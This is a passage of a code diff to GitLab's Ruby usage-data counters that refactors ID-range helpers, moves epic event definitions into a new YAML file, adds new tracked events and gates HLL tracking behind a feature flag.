projects_with_error_tracking_enabled: distinct_count(::Project.with_enabled_error_tracking.where(time_period), :creator_id),
projects_with_incidents: distinct_count(::Issue.incident.where(time_period), :project_id),
@@ -691,12 +691,12 @@ module Gitlab
def usage_activity_by_stage_verify(time_period)
{
ci_builds: distinct_count(::Ci::Build.where(time_period), :user_id),
- ci_external_pipelines: distinct_count(::Ci::Pipeline.external.where(time_period), :user_id, start: user_minimum_id, finish: user_maximum_id),
- ci_internal_pipelines: distinct_count(::Ci::Pipeline.internal.where(time_period), :user_id, start: user_minimum_id, finish: user_maximum_id),
- ci_pipeline_config_auto_devops: distinct_count(::Ci::Pipeline.auto_devops_source.where(time_period), :user_id, start: user_minimum_id, finish: user_maximum_id),
- ci_pipeline_config_repository: distinct_count(::Ci::Pipeline.repository_source.where(time_period), :user_id, start: user_minimum_id, finish: user_maximum_id),
+ ci_external_pipelines: distinct_count(::Ci::Pipeline.external.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),
+ ci_internal_pipelines: distinct_count(::Ci::Pipeline.internal.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),
+ ci_pipeline_config_auto_devops: distinct_count(::Ci::Pipeline.auto_devops_source.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),
+ ci_pipeline_config_repository: distinct_count(::Ci::Pipeline.repository_source.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),
ci_pipeline_schedules: distinct_count(::Ci::PipelineSchedule.where(time_period), :owner_id),
- ci_pipelines: distinct_count(::Ci::Pipeline.where(time_period), :user_id, start: user_minimum_id, finish: user_maximum_id),
+ ci_pipelines: distinct_count(::Ci::Pipeline.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),
ci_triggers: distinct_count(::Ci::Trigger.where(time_period), :owner_id),
clusters_applications_runner: cluster_applications_user_distinct_count(::Clusters::Applications::Runner, time_period)
}
@@ -711,6 +711,8 @@ module Gitlab
end
def redis_hll_counters
+ return {} unless Feature.enabled?(:redis_hll_tracking, type: :ops, default_enabled: :yaml)
+
{ redis_hll_counters: ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events_data }
end
@@ -799,8 +801,8 @@ module Gitlab
end
def distinct_count_service_desk_enabled_projects(time_period)
- project_creator_id_start = user_minimum_id
- project_creator_id_finish = user_maximum_id
+ project_creator_id_start = minimum_id(User)
+ project_creator_id_finish = maximum_id(User)
distinct_count(::Project.service_desk_enabled.where(time_period), :creator_id, start: project_creator_id_start, finish: project_creator_id_finish) # rubocop: disable CodeReuse/ActiveRecord
end
@@ -832,57 +834,9 @@ module Gitlab
def total_alert_issues
# Remove prometheus table queries once they are deprecated
# To be removed with https://gitlab.com/gitlab-org/gitlab/-/issues/217407.
- add count(Issue.with_alert_management_alerts, start: issue_minimum_id, finish: issue_maximum_id),
- count(::Issue.with_self_managed_prometheus_alert_events, start: issue_minimum_id, finish: issue_maximum_id),
- count(::Issue.with_prometheus_alert_events, start: issue_minimum_id, finish: issue_maximum_id)
- end
-
- def user_minimum_id
- strong_memoize(:user_minimum_id) do
- ::User.minimum(:id)
- end
- end
-
- def user_maximum_id
- strong_memoize(:user_maximum_id) do
- ::User.maximum(:id)
- end
- end
-
- def issue_minimum_id
- strong_memoize(:issue_minimum_id) do
- ::Issue.minimum(:id)
- end
- end
-
- def issue_maximum_id
- strong_memoize(:issue_maximum_id) do
- ::Issue.maximum(:id)
- end
- end
-
- def deployment_minimum_id
- strong_memoize(:deployment_minimum_id) do
- ::Deployment.minimum(:id)
- end
- end
-
- def deployment_maximum_id
- strong_memoize(:deployment_maximum_id) do
- ::Deployment.maximum(:id)
- end
- end
-
- def project_minimum_id
- strong_memoize(:project_minimum_id) do
- ::Project.minimum(:id)
- end
- end
-
- def project_maximum_id
- strong_memoize(:project_maximum_id) do
- ::Project.maximum(:id)
- end
+ add count(Issue.with_alert_management_alerts, start: minimum_id(Issue), finish: maximum_id(Issue)),
+ count(::Issue.with_self_managed_prometheus_alert_events, start: minimum_id(Issue), finish: maximum_id(Issue)),
+ count(::Issue.with_prometheus_alert_events, start: minimum_id(Issue), finish: maximum_id(Issue))
end
def self_monitoring_project
@@ -916,7 +870,7 @@ module Gitlab
end
def deployment_count(relation)
- count relation, start: deployment_minimum_id, finish: deployment_maximum_id
+ count relation, start: minimum_id(Deployment), finish: maximum_id(Deployment)
end
def project_imports(time_period)
diff --git a/lib/gitlab/usage_data_counters/aggregated_metrics/code_review.yml b/lib/gitlab/usage_data_counters/aggregated_metrics/code_review.yml
deleted file mode 100644
index 4c2355d526a..00000000000
--- a/lib/gitlab/usage_data_counters/aggregated_metrics/code_review.yml
+++ /dev/null
@@ -1,108 +0,0 @@
-# code_review_extension_category_monthly_active_users
-# This is only metrics related to the VS Code Extension for now.
-#
-# code_review_category_monthly_active_users
-# This is the user based metrics. These should only be user based metrics and only be related to the Code Review things inside of GitLab.
-#
-# code_review_group_monthly_active_users
-# This is an aggregation of both of the above aggregations. It's intended to represent all users who interact with our group across all of our categories.
----
-- name: code_review_group_monthly_active_users
- operator: OR
- feature_flag: usage_data_code_review_aggregation
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'i_code_review_user_single_file_diffs',
- 'i_code_review_user_create_mr',
- 'i_code_review_user_close_mr',
- 'i_code_review_user_reopen_mr',
- 'i_code_review_user_resolve_thread',
- 'i_code_review_user_unresolve_thread',
- 'i_code_review_edit_mr_title',
- 'i_code_review_edit_mr_desc',
- 'i_code_review_user_merge_mr',
- 'i_code_review_user_create_mr_comment',
- 'i_code_review_user_edit_mr_comment',
- 'i_code_review_user_remove_mr_comment',
- 'i_code_review_user_create_review_note',
- 'i_code_review_user_publish_review',
- 'i_code_review_user_create_multiline_mr_comment',
- 'i_code_review_user_edit_multiline_mr_comment',
- 'i_code_review_user_remove_multiline_mr_comment',
- 'i_code_review_user_add_suggestion',
- 'i_code_review_user_apply_suggestion',
- 'i_code_review_user_assigned',
- 'i_code_review_user_review_requested',
- 'i_code_review_user_approve_mr',
- 'i_code_review_user_unapprove_mr',
- 'i_code_review_user_marked_as_draft',
- 'i_code_review_user_unmarked_as_draft',
- 'i_code_review_user_approval_rule_added',
- 'i_code_review_user_approval_rule_deleted',
- 'i_code_review_user_approval_rule_edited',
- 'i_code_review_user_vs_code_api_request',
- 'i_code_review_user_toggled_task_item_status',
- 'i_code_review_user_create_mr_from_issue',
- 'i_code_review_user_mr_discussion_locked',
- 'i_code_review_user_mr_discussion_unlocked',
- 'i_code_review_user_time_estimate_changed',
- 'i_code_review_user_time_spent_changed',
- 'i_code_review_user_assignees_changed',
- 'i_code_review_user_reviewers_changed',
- 'i_code_review_user_milestone_changed',
- 'i_code_review_user_labels_changed'
- ]
-- name: code_review_category_monthly_active_users
- operator: OR
- feature_flag: usage_data_code_review_aggregation
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'i_code_review_user_single_file_diffs',
- 'i_code_review_user_create_mr',
- 'i_code_review_user_close_mr',
- 'i_code_review_user_reopen_mr',
- 'i_code_review_user_resolve_thread',
- 'i_code_review_user_unresolve_thread',
- 'i_code_review_edit_mr_title',
- 'i_code_review_edit_mr_desc',
- 'i_code_review_user_merge_mr',
- 'i_code_review_user_create_mr_comment',
- 'i_code_review_user_edit_mr_comment',
- 'i_code_review_user_remove_mr_comment',
- 'i_code_review_user_create_review_note',
- 'i_code_review_user_publish_review',
- 'i_code_review_user_create_multiline_mr_comment',
- 'i_code_review_user_edit_multiline_mr_comment',
- 'i_code_review_user_remove_multiline_mr_comment',
- 'i_code_review_user_add_suggestion',
- 'i_code_review_user_apply_suggestion',
- 'i_code_review_user_assigned',
- 'i_code_review_user_review_requested',
- 'i_code_review_user_approve_mr',
- 'i_code_review_user_unapprove_mr',
- 'i_code_review_user_marked_as_draft',
- 'i_code_review_user_unmarked_as_draft',
- 'i_code_review_user_approval_rule_added',
- 'i_code_review_user_approval_rule_deleted',
- 'i_code_review_user_approval_rule_edited',
- 'i_code_review_user_toggled_task_item_status',
- 'i_code_review_user_create_mr_from_issue',
- 'i_code_review_user_mr_discussion_locked',
- 'i_code_review_user_mr_discussion_unlocked',
- 'i_code_review_user_time_estimate_changed',
- 'i_code_review_user_time_spent_changed',
- 'i_code_review_user_assignees_changed',
- 'i_code_review_user_reviewers_changed',
- 'i_code_review_user_milestone_changed',
- 'i_code_review_user_labels_changed'
- ]
-- name: code_review_extension_category_monthly_active_users
- operator: OR
- feature_flag: usage_data_code_review_aggregation
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'i_code_review_user_vs_code_api_request'
- ]
diff --git a/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml b/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
deleted file mode 100644
index 73a55b5d5fa..00000000000
--- a/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
+++ /dev/null
@@ -1,72 +0,0 @@
-# Aggregated metrics that include EE only event names within `events:` attribute have to be defined at ee/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
-# instead of this file.
-#- name: unique name of aggregated metric
-# operator: aggregation operator. Valid values are:
-# - "OR": counts unique elements that were observed triggering any of following events
-# - "AND": counts unique elements that were observed triggering all of following events
-# events: list of events names to aggregate into metric. All events in this list must have the same 'redis_slot' and 'aggregation' attributes
-# see from lib/gitlab/usage_data_counters/known_events/ for the list of valid events.
-# source: defines which datasource will be used to locate events that should be included in aggregated metric. Valid values are:
-# - database
-# - redis
-# time_frame: defines time frames for aggregated metrics:
-# - 7d - last 7 days
-# - 28d - last 28 days
-# - all - all historical available data, this time frame is not available for redis source
-# feature_flag: name of development feature flag that will be checked before metrics aggregation is performed.
-# Corresponding feature flag should have `default_enabled` attribute set to `false`.
-# This attribute is OPTIONAL and can be omitted, when `feature_flag` is missing no feature flag will be checked.
----
-- name: compliance_features_track_unique_visits_union
- operator: OR
- source: redis
- time_frame: [7d, 28d]
- events: ['g_compliance_audit_events', 'g_compliance_dashboard', 'i_compliance_audit_events', 'a_compliance_audit_events_api', 'i_compliance_credential_inventory']
-- name: product_analytics_test_metrics_union
- operator: OR
- source: redis
- time_frame: [7d, 28d]
- events: ['i_search_total', 'i_search_advanced', 'i_search_paid']
-- name: product_analytics_test_metrics_intersection
- operator: AND
- source: redis
- time_frame: [7d, 28d]
- events: ['i_search_total', 'i_search_advanced', 'i_search_paid']
-- name: incident_management_alerts_total_unique_counts
- operator: OR
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'incident_management_alert_status_changed',
- 'incident_management_alert_assigned',
- 'incident_management_alert_todo',
- 'incident_management_alert_create_incident'
- ]
-- name: incident_management_incidents_total_unique_counts
- operator: OR
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'incident_management_incident_created',
- 'incident_management_incident_reopened',
- 'incident_management_incident_closed',
- 'incident_management_incident_assigned',
- 'incident_management_incident_todo',
- 'incident_management_incident_comment',
- 'incident_management_incident_zoom_meeting',
- 'incident_management_incident_published',
- 'incident_management_incident_relate',
- 'incident_management_incident_unrelate',
- 'incident_management_incident_change_confidential'
- ]
-- name: i_testing_paid_monthly_active_user_total
- operator: OR
- source: redis
- time_frame: [7d, 28d]
- events: [
- 'i_testing_web_performance_widget_total',
- 'i_testing_full_code_quality_report_total',
- 'i_testing_group_code_coverage_visit_total',
- 'i_testing_load_performance_widget_total',
- 'i_testing_metrics_report_widget_total'
- ]
diff --git a/lib/gitlab/usage_data_counters/base_counter.rb b/lib/gitlab/usage_data_counters/base_counter.rb
index d28fd17a989..4ab310a2519 100644
--- a/lib/gitlab/usage_data_counters/base_counter.rb
+++ b/lib/gitlab/usage_data_counters/base_counter.rb
@@ -22,11 +22,11 @@ module Gitlab::UsageDataCounters
end
def totals
- known_events.map { |event| [counter_key(event), read(event)] }.to_h
+ known_events.to_h { |event| [counter_key(event), read(event)] }
end
def fallback_totals
- known_events.map { |event| [counter_key(event), -1] }.to_h
+ known_events.to_h { |event| [counter_key(event), -1] }
end
def fetch_supported_event(event_name)
diff --git a/lib/gitlab/usage_data_counters/ci_template_unique_counter.rb b/lib/gitlab/usage_data_counters/ci_template_unique_counter.rb
index 772a4623280..c9106d7c6b8 100644
--- a/lib/gitlab/usage_data_counters/ci_template_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/ci_template_unique_counter.rb
@@ -2,7 +2,7 @@
module Gitlab::UsageDataCounters
class CiTemplateUniqueCounter
- REDIS_SLOT = 'ci_templates'.freeze
+ REDIS_SLOT = 'ci_templates'
# NOTE: Events originating from implicit Auto DevOps pipelines get prefixed with `implicit_`
TEMPLATE_TO_EVENT = {
@@ -20,8 +20,6 @@ module Gitlab::UsageDataCounters
class << self
def track_unique_project_event(project_id:, template:, config_source:)
- return if Feature.disabled?(:usage_data_track_ci_templates_unique_projects, default_enabled: :yaml)
-
if event = unique_project_event(template, config_source)
Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event, values: project_id)
end
diff --git a/lib/gitlab/usage_data_counters/hll_redis_counter.rb b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
index 336bef081a6..a8691169fb8 100644
--- a/lib/gitlab/usage_data_counters/hll_redis_counter.rb
+++ b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
@@ -151,13 +151,16 @@ module Gitlab
aggregation = events.first[:aggregation]
keys = keys_for_aggregation(aggregation, events: events, start_date: start_date, end_date: end_date, context: context)
+
+ return FALLBACK unless keys.any?
+
redis_usage_data { Gitlab::Redis::HLL.count(keys: keys) }
end
def feature_enabled?(event)
return true if event[:feature_flag].blank?
- Feature.enabled?(event[:feature_flag], default_enabled: :yaml)
+ Feature.enabled?(event[:feature_flag], default_enabled: :yaml) && Feature.enabled?(:redis_hll_tracking, type: :ops, default_enabled: :yaml)
end
# Allow to add totals for events that are in the same redis slot, category and have the same aggregation level
diff --git a/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
index c2662a74432..6f5f878501f 100644
--- a/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
@@ -34,120 +34,120 @@ module Gitlab
ISSUE_COMMENT_REMOVED = 'g_project_management_issue_comment_removed'
class << self
- def track_issue_created_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_CREATED, author, time)
+ def track_issue_created_action(author:)
+ track_unique_action(ISSUE_CREATED, author)
end
- def track_issue_title_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_TITLE_CHANGED, author, time)
+ def track_issue_title_changed_action(author:)
+ track_unique_action(ISSUE_TITLE_CHANGED, author)
end
- def track_issue_description_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_DESCRIPTION_CHANGED, author, time)
+ def track_issue_description_changed_action(author:)
+ track_unique_action(ISSUE_DESCRIPTION_CHANGED, author)
end
- def track_issue_assignee_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_ASSIGNEE_CHANGED, author, time)
+ def track_issue_assignee_changed_action(author:)
+ track_unique_action(ISSUE_ASSIGNEE_CHANGED, author)
end
- def track_issue_made_confidential_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_MADE_CONFIDENTIAL, author, time)
+ def track_issue_made_confidential_action(author:)
+ track_unique_action(ISSUE_MADE_CONFIDENTIAL, author)
end
- def track_issue_made_visible_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_MADE_VISIBLE, author, time)
+ def track_issue_made_visible_action(author:)
+ track_unique_action(ISSUE_MADE_VISIBLE, author)
end
- def track_issue_closed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_CLOSED, author, time)
+ def track_issue_closed_action(author:)
+ track_unique_action(ISSUE_CLOSED, author)
end
- def track_issue_reopened_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_REOPENED, author, time)
+ def track_issue_reopened_action(author:)
+ track_unique_action(ISSUE_REOPENED, author)
end
- def track_issue_label_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_LABEL_CHANGED, author, time)
+ def track_issue_label_changed_action(author:)
+ track_unique_action(ISSUE_LABEL_CHANGED, author)
end
- def track_issue_milestone_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_MILESTONE_CHANGED, author, time)
+ def track_issue_milestone_changed_action(author:)
+ track_unique_action(ISSUE_MILESTONE_CHANGED, author)
end
- def track_issue_cross_referenced_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_CROSS_REFERENCED, author, time)
+ def track_issue_cross_referenced_action(author:)
+ track_unique_action(ISSUE_CROSS_REFERENCED, author)
end
- def track_issue_moved_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_MOVED, author, time)
+ def track_issue_moved_action(author:)
+ track_unique_action(ISSUE_MOVED, author)
end
- def track_issue_related_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_RELATED, author, time)
+ def track_issue_related_action(author:)
+ track_unique_action(ISSUE_RELATED, author)
end
- def track_issue_unrelated_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_UNRELATED, author, time)
+ def track_issue_unrelated_action(author:)
+ track_unique_action(ISSUE_UNRELATED, author)
end
- def track_issue_marked_as_duplicate_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_MARKED_AS_DUPLICATE, author, time)
+ def track_issue_marked_as_duplicate_action(author:)
+ track_unique_action(ISSUE_MARKED_AS_DUPLICATE, author)
end
- def track_issue_locked_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_LOCKED, author, time)
+ def track_issue_locked_action(author:)
+ track_unique_action(ISSUE_LOCKED, author)
end
- def track_issue_unlocked_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_UNLOCKED, author, time)
+ def track_issue_unlocked_action(author:)
+ track_unique_action(ISSUE_UNLOCKED, author)
end
- def track_issue_designs_added_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_DESIGNS_ADDED, author, time)
+ def track_issue_designs_added_action(author:)
+ track_unique_action(ISSUE_DESIGNS_ADDED, author)
end
- def track_issue_designs_modified_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_DESIGNS_MODIFIED, author, time)
+ def track_issue_designs_modified_action(author:)
+ track_unique_action(ISSUE_DESIGNS_MODIFIED, author)
end
- def track_issue_designs_removed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_DESIGNS_REMOVED, author, time)
+ def track_issue_designs_removed_action(author:)
+ track_unique_action(ISSUE_DESIGNS_REMOVED, author)
end
- def track_issue_due_date_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_DUE_DATE_CHANGED, author, time)
+ def track_issue_due_date_changed_action(author:)
+ track_unique_action(ISSUE_DUE_DATE_CHANGED, author)
end
- def track_issue_time_estimate_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_TIME_ESTIMATE_CHANGED, author, time)
+ def track_issue_time_estimate_changed_action(author:)
+ track_unique_action(ISSUE_TIME_ESTIMATE_CHANGED, author)
end
- def track_issue_time_spent_changed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_TIME_SPENT_CHANGED, author, time)
+ def track_issue_time_spent_changed_action(author:)
+ track_unique_action(ISSUE_TIME_SPENT_CHANGED, author)
end
- def track_issue_comment_added_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_COMMENT_ADDED, author, time)
+ def track_issue_comment_added_action(author:)
+ track_unique_action(ISSUE_COMMENT_ADDED, author)
end
- def track_issue_comment_edited_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_COMMENT_EDITED, author, time)
+ def track_issue_comment_edited_action(author:)
+ track_unique_action(ISSUE_COMMENT_EDITED, author)
end
- def track_issue_comment_removed_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_COMMENT_REMOVED, author, time)
+ def track_issue_comment_removed_action(author:)
+ track_unique_action(ISSUE_COMMENT_REMOVED, author)
end
- def track_issue_cloned_action(author:, time: Time.zone.now)
- track_unique_action(ISSUE_CLONED, author, time)
+ def track_issue_cloned_action(author:)
+ track_unique_action(ISSUE_CLONED, author)
end
private
- def track_unique_action(action, author, time)
+ def track_unique_action(action, author)
return unless author
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(action, values: author.id, time: time)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(action, values: author.id)
end
end
end
diff --git a/lib/gitlab/usage_data_counters/known_events/ci_templates.yml b/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
index 9c19c9e8b8c..3c692f2b1af 100644
--- a/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
+++ b/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
@@ -3,89 +3,74 @@
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_implicit_auto_devops_build
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_implicit_auto_devops_deploy
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_implicit_security_sast
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_implicit_security_secret_detection
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
# Explicit include:template pipeline events
- name: p_ci_templates_5_min_production_app
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_auto_devops
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_aws_cf_deploy_ec2
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_aws_deploy_ecs
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_auto_devops_build
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_auto_devops_deploy
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_auto_devops_deploy_latest
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_security_sast
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_security_secret_detection
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
- name: p_ci_templates_terraform_base_latest
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
- feature_flag: usage_data_track_ci_templates_unique_projects
diff --git a/lib/gitlab/usage_data_counters/known_events/common.yml b/lib/gitlab/usage_data_counters/known_events/common.yml
index 80a79682338..077864032e8 100644
--- a/lib/gitlab/usage_data_counters/known_events/common.yml
+++ b/lib/gitlab/usage_data_counters/known_events/common.yml
@@ -91,6 +91,11 @@
redis_slot: analytics
aggregation: weekly
feature_flag: track_unique_visits
+- name: i_analytics_dev_ops_adoption
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+ feature_flag: track_unique_visits
- name: g_analytics_merge_request
category: analytics
redis_slot: analytics
@@ -242,6 +247,12 @@
category: incident_management_alerts
aggregation: weekly
feature_flag: usage_data_incident_management_alert_create_incident
+# Incident management on-call
+- name: i_incident_management_oncall_notification_sent
+ redis_slot: incident_management
+ category: incident_management_oncall
+ aggregation: weekly
+ feature_flag: usage_data_i_incident_management_oncall_notification_sent
# Testing category
- name: i_testing_test_case_parsed
category: testing
@@ -283,6 +294,11 @@
redis_slot: testing
aggregation: weekly
feature_flag: usage_data_i_testing_metrics_report_artifact_uploaders
+- name: i_testing_summary_widget_total
+ category: testing
+ redis_slot: testing
+ aggregation: weekly
+ feature_flag: usage_data_i_testing_summary_widget_total
# Project Management group
- name: g_project_management_issue_title_changed
category: issues_edit
@@ -444,13 +460,19 @@
redis_slot: pipeline_authoring
aggregation: weekly
feature_flag: usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile
-# Epic events
-#
-# We are using the same slot of issue events 'project_management' for
-# epic events to allow data aggregation.
-# More information in: https://gitlab.com/gitlab-org/gitlab/-/issues/322405
-- name: g_project_management_epic_created
- category: epics_usage
- redis_slot: project_management
- aggregation: daily
- feature_flag: track_epics_activity
+# Merge request widgets
+- name: users_expanding_secure_security_report
+ redis_slot: secure
+ category: secure
+ aggregation: weekly
+ feature_flag: users_expanding_widgets_usage_data
+- name: users_expanding_testing_code_quality_report
+ redis_slot: testing
+ category: testing
+ aggregation: weekly
+ feature_flag: users_expanding_widgets_usage_data
+- name: users_expanding_testing_accessibility_report
+ redis_slot: testing
+ category: testing
+ aggregation: weekly
+ feature_flag: users_expanding_widgets_usage_data
diff --git a/lib/gitlab/usage_data_counters/known_events/epic_events.yml b/lib/gitlab/usage_data_counters/known_events/epic_events.yml
new file mode 100644
index 00000000000..80460dbe4d2
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/known_events/epic_events.yml
@@ -0,0 +1,142 @@
+# Epic events
+#
+# We are using the same slot of issue events 'project_management' for
+# epic events to allow data aggregation.
+# More information in: https://gitlab.com/gitlab-org/gitlab/-/issues/322405
+- name: g_project_management_epic_created
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_updating_epic_titles
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_updating_epic_descriptions
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+# epic notes
+
+- name: g_project_management_users_creating_epic_notes
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_updating_epic_notes
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_destroying_epic_notes
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+# start date events
+
+- name: g_project_management_users_setting_epic_start_date_as_fixed
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_updating_fixed_epic_start_date
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_setting_epic_start_date_as_inherited
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+# due date events
+
+- name: g_project_management_users_setting_epic_due_date_as_fixed
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_updating_fixed_epic_due_date
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_setting_epic_due_date_as_inherited
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_issue_added
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_issue_removed
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_issue_moved_from_project
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_closed
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_reopened
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: 'g_project_management_issue_promoted_to_epic'
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_setting_epic_confidential
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_users_setting_epic_visible
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_users_changing_labels
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
+
+- name: g_project_management_epic_destroyed
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
diff --git a/lib/gitlab/usage_data_counters/note_counter.rb b/lib/gitlab/usage_data_counters/note_counter.rb
index 7a76180cb08..aae2d144c5b 100644
--- a/lib/gitlab/usage_data_counters/note_counter.rb
+++ b/lib/gitlab/usage_data_counters/note_counter.rb
@@ -24,13 +24,13 @@ module Gitlab::UsageDataCounters
end
def totals
- COUNTABLE_TYPES.map do |countable_type|
+ COUNTABLE_TYPES.to_h do |countable_type|
[counter_key(countable_type), read(:create, countable_type)]
- end.to_h
+ end
end
def fallback_totals
- COUNTABLE_TYPES.map { |counter_key| [counter_key(counter_key), -1] }.to_h
+ COUNTABLE_TYPES.to_h { |counter_key| [counter_key(counter_key), -1] }
end
private
diff --git a/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter.rb b/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter.rb
index 15c68fb3945..ed3df7dcf75 100644
--- a/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter.rb
